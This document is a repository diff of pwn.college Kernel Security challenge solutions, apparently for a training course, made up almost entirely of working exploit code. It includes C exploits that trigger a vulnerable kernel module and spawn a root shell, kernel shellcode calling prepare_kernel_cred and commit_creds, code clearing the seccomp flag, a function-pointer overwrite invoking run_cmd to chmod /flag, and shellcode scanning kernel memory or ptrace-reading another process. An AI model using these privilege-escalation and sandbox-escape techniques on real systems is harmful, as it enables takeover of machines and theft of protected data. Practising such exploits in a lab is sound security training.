ret
|
||||||
|
""".strip()
|
||||||
|
|
||||||
|
kernel_machine_code = dump_machine_code(kernel_assembly)
|
||||||
|
|
||||||
|
user_assembly = f"""
|
||||||
|
{shellcraft.amd64.pushstr(kernel_machine_code, append_null=False)}
|
||||||
|
{shellcraft.amd64.linux.write(3, "rsp", len(kernel_machine_code))}
|
||||||
|
/* Get current PID `cpid` */
|
||||||
|
{shellcraft.amd64.linux.getpid()}
|
||||||
|
/* Assume sub-process has PID `cpid + 1` */
|
||||||
|
lea rbx, [rax + 1]
|
||||||
|
/* ptrace attach to sub-process */
|
||||||
|
{shellcraft.amd64.linux.syscall("SYS_ptrace", 'PTRACE_ATTACH', "rbx", 0, 0)}
|
||||||
|
/* wait sub-process to stop */
|
||||||
|
{shellcraft.amd64.linux.syscall("SYS_wait4", -1, 0, 0, 0)}
|
||||||
|
"""
|
||||||
|
|
||||||
|
for addr in range(0x404040, 0x4040a0, 0x8):
|
||||||
|
# Peek sub-process's data and output
|
||||||
|
user_assembly += shellcraft.amd64.linux.syscall("SYS_ptrace", 'PTRACE_PEEKDATA', "rbx", addr, 'rsp')
|
||||||
|
user_assembly += shellcraft.amd64.linux.write(1, 'rsp', 8)
|
||||||
|
|
||||||
|
user_machine_code = dump_machine_code(user_assembly)
|
||||||
|
|
||||||
|
with open('shellcode.bin', 'wb') as f:
|
||||||
|
f.write(user_machine_code)
|
||||||
|
f.write(b'\xcc' * (0x1000 - len(user_machine_code)))
|
||||||
79
PwnCollege/KernelSecurity/Level12.0/shellcode.py
Normal file
79
PwnCollege/KernelSecurity/Level12.0/shellcode.py
Normal file
@@ -0,0 +1,79 @@
|
|||||||
|
import sys
|
||||||
|
sys.path.append("..")
|
||||||
|
|
||||||
|
from pwn import context, shellcraft
|
||||||
|
from common import *
|
||||||
|
context(arch = 'amd64', os = 'linux')
|
||||||
|
|
||||||
|
kernel_assembly = f"""
|
||||||
|
.equ page_offset_base_min, 0xffff888000000000
|
||||||
|
.equ page_offset_base_max, 0xffff888000000000 + 2029520 * 1024
|
||||||
|
|
||||||
|
movabs rbx, page_offset_base_min
|
||||||
|
|
||||||
|
loop_start:
|
||||||
|
mov rdx, page_offset_base_max
|
||||||
|
cmp rbx, rdx
|
||||||
|
ja loop_end
|
||||||
|
lea rdi, [rip + flag_startwith_string]
|
||||||
|
lea rsi, [rbx + 0x40]
|
||||||
|
call str_startwith
|
||||||
|
test rax, rax
|
||||||
|
jz loop_next
|
||||||
|
lea rdi, [rbx + 0x40]
|
||||||
|
call send_message
|
||||||
|
loop_next:
|
||||||
|
add rbx, 0x1000
|
||||||
|
jmp loop_start
|
||||||
|
loop_end:
|
||||||
|
ret
|
||||||
|
int 3
|
||||||
|
|
||||||
|
str_startwith:
|
||||||
|
/* const char * comparee in `rdi`, end with 0x00; const char * comparer in `rsi` */
|
||||||
|
/* Clobber: rax, rdi, rsi, rcx */
|
||||||
|
push rdi
|
||||||
|
{shellcraft.amd64.strlen('rdi', 'rcx')}
|
||||||
|
pop rdi
|
||||||
|
cld
|
||||||
|
repe cmpsb
|
||||||
|
jz str_startwith_stop
|
||||||
|
xor rax, rax
|
||||||
|
ret
|
||||||
|
str_startwith_stop:
|
||||||
|
mov rax, 1
|
||||||
|
ret
|
||||||
|
int 3
|
||||||
|
|
||||||
|
send_message:
|
||||||
|
/* const char * message in `rdi` */
|
||||||
|
/* Clobber: all volatile registers */
|
||||||
|
lea rsi, [rip + run_cmd_buffer]
|
||||||
|
{shellcraft.amd64.strcpy('rsi', 'rdi')}
|
||||||
|
lea rdi, [rip + run_cmd_arg]
|
||||||
|
movabs rsi, 0xffffffff81089b30 /* run_cmd */
|
||||||
|
call rsi
|
||||||
|
ret
|
||||||
|
int 3
|
||||||
|
|
||||||
|
flag_startwith_string:
|
||||||
|
.ascii "pwn.college"
|
||||||
|
.byte 0x7B, 0x00
|
||||||
|
run_cmd_arg:
|
||||||
|
.ascii "/home/hacker/KernelSecurity/Level12.0/write "
|
||||||
|
run_cmd_buffer:
|
||||||
|
.byte 0x00
|
||||||
|
""".strip()
|
||||||
|
|
||||||
|
kernel_machine_code = dump_machine_code(kernel_assembly)
|
||||||
|
|
||||||
|
user_assembly = f"""
|
||||||
|
{shellcraft.amd64.pushstr(kernel_machine_code, append_null=False)}
|
||||||
|
{shellcraft.amd64.linux.write(3, "rsp", len(kernel_machine_code))}
|
||||||
|
""".strip()
|
||||||
|
|
||||||
|
user_machine_code = dump_machine_code(user_assembly)
|
||||||
|
|
||||||
|
with open('shellcode.bin', 'wb') as f:
|
||||||
|
f.write(user_machine_code)
|
||||||
|
f.write(b'\xcc' * (0x1000 - len(user_machine_code)))
|
||||||
17
PwnCollege/KernelSecurity/Level12.0/write.c
Normal file
17
PwnCollege/KernelSecurity/Level12.0/write.c
Normal file
@@ -0,0 +1,17 @@
|
|||||||
|
#include <stdio.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include <stdint.h>
|
||||||
|
#include <string.h>
|
||||||
|
#include <sys/ioctl.h>
|
||||||
|
#include <fcntl.h>
|
||||||
|
#include <unistd.h>
|
||||||
|
|
||||||
|
int main(int argc, char* argv[]) {
|
||||||
|
int fd = open("/home/hacker/KernelSecurity/Level12.0/output.txt", O_WRONLY | O_APPEND | O_CREAT, 0644);
|
||||||
|
for (int i = 1; i < argc; i++) {
|
||||||
|
write(fd, argv[i], strlen(argv[i]));
|
||||||
|
write(fd, "\n", 1);
|
||||||
|
}
|
||||||
|
close(fd);
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
8
PwnCollege/KernelSecurity/Level3.0/exploit.c
Normal file
8
PwnCollege/KernelSecurity/Level3.0/exploit.c
Normal file
@@ -0,0 +1,8 @@
|
|||||||
|
#include <stdlib.h>
|
||||||
|
#include <fcntl.h>
|
||||||
|
#include <unistd.h>
|
||||||
|
int main() {
|
||||||
|
int fd = open("/proc/pwncollege", O_WRONLY);
|
||||||
|
write(fd, "oiwqgsfsdekebbgi", 0x10);
|
||||||
|
execve("/bin/bash", NULL, NULL);
|
||||||
|
}
|
||||||
8
PwnCollege/KernelSecurity/Level3.1/exploit.c
Normal file
8
PwnCollege/KernelSecurity/Level3.1/exploit.c
Normal file
@@ -0,0 +1,8 @@
|
|||||||
|
#include <stdlib.h>
|
||||||
|
#include <fcntl.h>
|
||||||
|
#include <unistd.h>
|
||||||
|
int main() {
|
||||||
|
int fd = open("/proc/pwncollege", O_WRONLY);
|
||||||
|
write(fd, "ysrxhmxtsfctmnuv", 0x10);
|
||||||
|
execve("/bin/bash", NULL, NULL);
|
||||||
|
}
|
||||||
10
PwnCollege/KernelSecurity/Level4.0/exploit.c
Normal file
10
PwnCollege/KernelSecurity/Level4.0/exploit.c
Normal file
@@ -0,0 +1,10 @@
|
|||||||
|
#include <stdlib.h>
|
||||||
|
#include <sys/ioctl.h>
|
||||||
|
#include <fcntl.h>
|
||||||
|
#include <unistd.h>
|
||||||
|
|
||||||
|
int main() {
|
||||||
|
int fd = open("/proc/pwncollege", O_WRONLY);
|
||||||
|
ioctl(fd, 1337, "owibidryoofhkxuo");
|
||||||
|
execve("/bin/bash", NULL, NULL);
|
||||||
|
}
|
||||||
10
PwnCollege/KernelSecurity/Level4.1/exploit.c
Normal file
10
PwnCollege/KernelSecurity/Level4.1/exploit.c
Normal file
@@ -0,0 +1,10 @@
|
|||||||
|
#include <stdlib.h>
|
||||||
|
#include <sys/ioctl.h>
|
||||||
|
#include <fcntl.h>
|
||||||
|
#include <unistd.h>
|
||||||
|
|
||||||
|
int main() {
|
||||||
|
int fd = open("/proc/pwncollege", O_WRONLY);
|
||||||
|
ioctl(fd, 1337, "amykdifilzqobpdg");
|
||||||
|
execve("/bin/bash", NULL, NULL);
|
||||||
|
}
|
||||||
10
PwnCollege/KernelSecurity/Level5.0/exploit.c
Normal file
10
PwnCollege/KernelSecurity/Level5.0/exploit.c
Normal file
@@ -0,0 +1,10 @@
|
|||||||
|
#include <stdlib.h>
|
||||||
|
#include <sys/ioctl.h>
|
||||||
|
#include <fcntl.h>
|
||||||
|
#include <unistd.h>
|
||||||
|
|
||||||
|
int main() {
|
||||||
|
int fd = open("/proc/pwncollege", O_WRONLY);
|
||||||
|
ioctl(fd, 1337, 0xffffffffc0000000ull + 0x8edull);
|
||||||
|
execve("/bin/bash", NULL, NULL);
|
||||||
|
}
|
||||||
10
PwnCollege/KernelSecurity/Level5.1/exploit.c
Normal file
10
PwnCollege/KernelSecurity/Level5.1/exploit.c
Normal file
@@ -0,0 +1,10 @@
|
|||||||
|
#include <stdlib.h>
|
||||||
|
#include <sys/ioctl.h>
|
||||||
|
#include <fcntl.h>
|
||||||
|
#include <unistd.h>
|
||||||
|
|
||||||
|
int main() {
|
||||||
|
int fd = open("/proc/pwncollege", O_WRONLY);
|
||||||
|
ioctl(fd, 1337, 0xffffffffc0000000ull + 0xc2ull);
|
||||||
|
execve("/bin/bash", NULL, NULL);
|
||||||
|
}
|
||||||
24
PwnCollege/KernelSecurity/Level6.0/exploit.c
Normal file
24
PwnCollege/KernelSecurity/Level6.0/exploit.c
Normal file
@@ -0,0 +1,24 @@
|
|||||||
|
#include <stdlib.h>
|
||||||
|
#include <stdint.h>
|
||||||
|
#include <sys/ioctl.h>
|
||||||
|
#include <fcntl.h>
|
||||||
|
#include <unistd.h>
|
||||||
|
|
||||||
|
__attribute__((naked))
|
||||||
|
void shellcode() {
|
||||||
|
asm volatile(
|
||||||
|
"xor %rdi, %rdi\n"
|
||||||
|
"movabs $0xffffffff81089660, %rsi\n"
|
||||||
|
"callq *%rsi\n" // prepare_kernel_cred
|
||||||
|
"movq %rax, %rdi\n"
|
||||||
|
"movabs $0xffffffff81089310, %rsi\n"
|
||||||
|
"callq *%rsi\n" // commit_creds
|
||||||
|
"retq\n"
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
int main() {
|
||||||
|
int fd = open("/proc/pwncollege", O_WRONLY);
|
||||||
|
write(fd, (void *)shellcode, 0x1F);
|
||||||
|
execve("/bin/bash", NULL, NULL);
|
||||||
|
}
|
||||||
34
PwnCollege/KernelSecurity/Level7.0/exploit.c
Normal file
34
PwnCollege/KernelSecurity/Level7.0/exploit.c
Normal file
@@ -0,0 +1,34 @@
|
|||||||
|
#include <stdlib.h>
|
||||||
|
#include <stdint.h>
|
||||||
|
#include <string.h>
|
||||||
|
#include <sys/ioctl.h>
|
||||||
|
#include <fcntl.h>
|
||||||
|
#include <unistd.h>
|
||||||
|
|
||||||
|
struct ioctl_args {
|
||||||
|
uint64_t length;
|
||||||
|
uint8_t shellcode[0x1000];
|
||||||
|
uint64_t codeptr;
|
||||||
|
}args;
|
||||||
|
|
||||||
|
__attribute__((naked))
|
||||||
|
void shellcode() {
|
||||||
|
asm volatile(
|
||||||
|
"xor %rdi, %rdi\n"
|
||||||
|
"movabs $0xffffffff81089660, %rsi\n"
|
||||||
|
"callq *%rsi\n" // prepare_kernel_cred
|
||||||
|
"movq %rax, %rdi\n"
|
||||||
|
"movabs $0xffffffff81089310, %rsi\n"
|
||||||
|
"callq *%rsi\n" // commit_creds
|
||||||
|
"retq\n"
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
int main() {
|
||||||
|
args.length = 0x1f;
|
||||||
|
memcpy(args.shellcode, shellcode, args.length);
|
||||||
|
args.codeptr = 0xffffc90000085000ull;
|
||||||
|
int fd = open("/proc/pwncollege", O_WRONLY);
|
||||||
|
ioctl(fd, 1337, &args);
|
||||||
|
execve("/bin/bash", NULL, NULL);
|
||||||
|
}
|
||||||
36
PwnCollege/KernelSecurity/Level8.0/shellcode.py
Normal file
36
PwnCollege/KernelSecurity/Level8.0/shellcode.py
Normal file
@@ -0,0 +1,36 @@
|
|||||||
|
import sys
|
||||||
|
sys.path.append("..")
|
||||||
|
|
||||||
|
from pwn import context, shellcraft
|
||||||
|
from common import *
|
||||||
|
context(arch = 'amd64', os = 'linux')
|
||||||
|
|
||||||
|
kernel_assembly = f"""
|
||||||
|
/* current->thread_info.flags &= ~(1 << TIF_SECCOMP); */
|
||||||
|
mov rdx, gs:0x15d00 /* runtime-relocated offsets */
|
||||||
|
mov rax, [rdx]
|
||||||
|
and ah, 0xfe
|
||||||
|
mov [rdx], rax
|
||||||
|
/* commit_creds(prepare_kernel_cred(NULL)); */
|
||||||
|
xor rdi, rdi
|
||||||
|
movabs rsi, 0xffffffff81089660
|
||||||
|
call rsi /* prepare_kernel_cred */
|
||||||
|
mov rdi, rax
|
||||||
|
movabs rsi, 0xffffffff81089310
|
||||||
|
call rsi /* commit_creds */
|
||||||
|
ret
|
||||||
|
""".strip()
|
||||||
|
|
||||||
|
kernel_machine_code = dump_machine_code(kernel_assembly)
|
||||||
|
|
||||||
|
user_assembly = f"""
|
||||||
|
{shellcraft.amd64.pushstr(kernel_machine_code, append_null=False)}
|
||||||
|
{shellcraft.amd64.linux.syscall("SYS_write", 3, "rsp", len(kernel_machine_code))}
|
||||||
|
{shellcraft.amd64.linux.cat("/flag")}
|
||||||
|
""".strip()
|
||||||
|
|
||||||
|
user_machine_code = dump_machine_code(user_assembly)
|
||||||
|
|
||||||
|
with open('shellcode.bin', 'wb') as f:
|
||||||
|
f.write(user_machine_code)
|
||||||
|
f.write(b'\xcc' * (0x1000 - len(user_machine_code)))
|
||||||
8
PwnCollege/KernelSecurity/Level8.0/test_seccomp.c
Normal file
8
PwnCollege/KernelSecurity/Level8.0/test_seccomp.c
Normal file
@@ -0,0 +1,8 @@
|
|||||||
|
#include <linux/module.h>
|
||||||
|
#include <linux/kernel.h>
|
||||||
|
#include <linux/cred.h>
|
||||||
|
MODULE_LICENSE("GPT");
|
||||||
|
|
||||||
|
void* test_unset_seccomp_flag_in_thread_info_flags(void) {
|
||||||
|
return current->thread_info.flags &= ~(1 << TIF_SECCOMP);
|
||||||
|
}
|
||||||
20
PwnCollege/KernelSecurity/Level9.0/exploit.c
Normal file
20
PwnCollege/KernelSecurity/Level9.0/exploit.c
Normal file
@@ -0,0 +1,20 @@
|
|||||||
|
#include <stdlib.h>
|
||||||
|
#include <stdint.h>
|
||||||
|
#include <string.h>
|
||||||
|
#include <sys/ioctl.h>
|
||||||
|
#include <fcntl.h>
|
||||||
|
#include <unistd.h>
|
||||||
|
|
||||||
|
struct evil
|
||||||
|
{
|
||||||
|
char buffer[256];
|
||||||
|
int (*log_function)(const char *, ...);
|
||||||
|
} s;
|
||||||
|
|
||||||
|
int main() {
|
||||||
|
int fd = open("/proc/pwncollege", O_WRONLY);
|
||||||
|
strcpy(s.buffer, "/bin/chmod 666 /flag");
|
||||||
|
s.log_function = 0xffffffff81089b30ull; // run_cmd
|
||||||
|
// run_cmd doesn't use stdin nor stdout. It also doesn't use current working directory. Its CWD is /. The executable should use absolute path.
|
||||||
|
write(fd, &s, sizeof(struct evil) - 1);
|
||||||
|
}
|
||||||
30
PwnCollege/KernelSecurity/common.py
Normal file
30
PwnCollege/KernelSecurity/common.py
Normal file
@@ -0,0 +1,30 @@
|
|||||||
|
from pwn import asm, disasm, util
|
||||||
|
import struct
|
||||||
|
|
||||||
|
def i2f(x):
|
||||||
|
return struct.unpack('!d', struct.pack('!Q', x))[0]
|
||||||
|
|
||||||
|
def f2i(x):
|
||||||
|
return struct.unpack('!Q', struct.pack('!d', x))[0]
|
||||||
|
|
||||||
|
def dump_machine_code(assembly: str):
|
||||||
|
machine_code = asm(assembly)
|
||||||
|
print("Assembly:")
|
||||||
|
print(assembly)
|
||||||
|
print("Byte Array:", list(machine_code))
|
||||||
|
padding = b"\xcc" * ((4 - len(machine_code)) % 4)
|
||||||
|
unpacked_signed_array = util.packing.unpack_many(machine_code + padding, 32, endian='little', sign=True)
|
||||||
|
unpacked_unsigned_array = util.packing.unpack_many(machine_code + padding, 32, endian='little', sign=False)
|
||||||
|
print("Signed DWord Array:", unpacked_signed_array)
|
||||||
|
print("Unsigned DWord Array:", unpacked_unsigned_array)
|
||||||
|
print("Hex DWord Array:", list(map(hex, unpacked_unsigned_array)))
|
||||||
|
padding = b"\xcc" * ((8 - len(machine_code)) % 8)
|
||||||
|
unpacked_signed_array = util.packing.unpack_many(machine_code + padding, 64, endian='little', sign=True)
|
||||||
|
unpacked_unsigned_array = util.packing.unpack_many(machine_code + padding, 64, endian='little', sign=False)
|
||||||
|
print("Signed QWord Array:", unpacked_signed_array)
|
||||||
|
print("Unsigned QWord Array:", unpacked_unsigned_array)
|
||||||
|
print("Hex QWord Array:", list(map(hex, unpacked_unsigned_array)))
|
||||||
|
print("Double Array:", list(map(i2f, unpacked_unsigned_array)))
|
||||||
|
print("Disassembled-assembly:")
|
||||||
|
print(disasm(machine_code))
|
||||||
|
return machine_code
|
||||||
Reference in New Issue
Block a user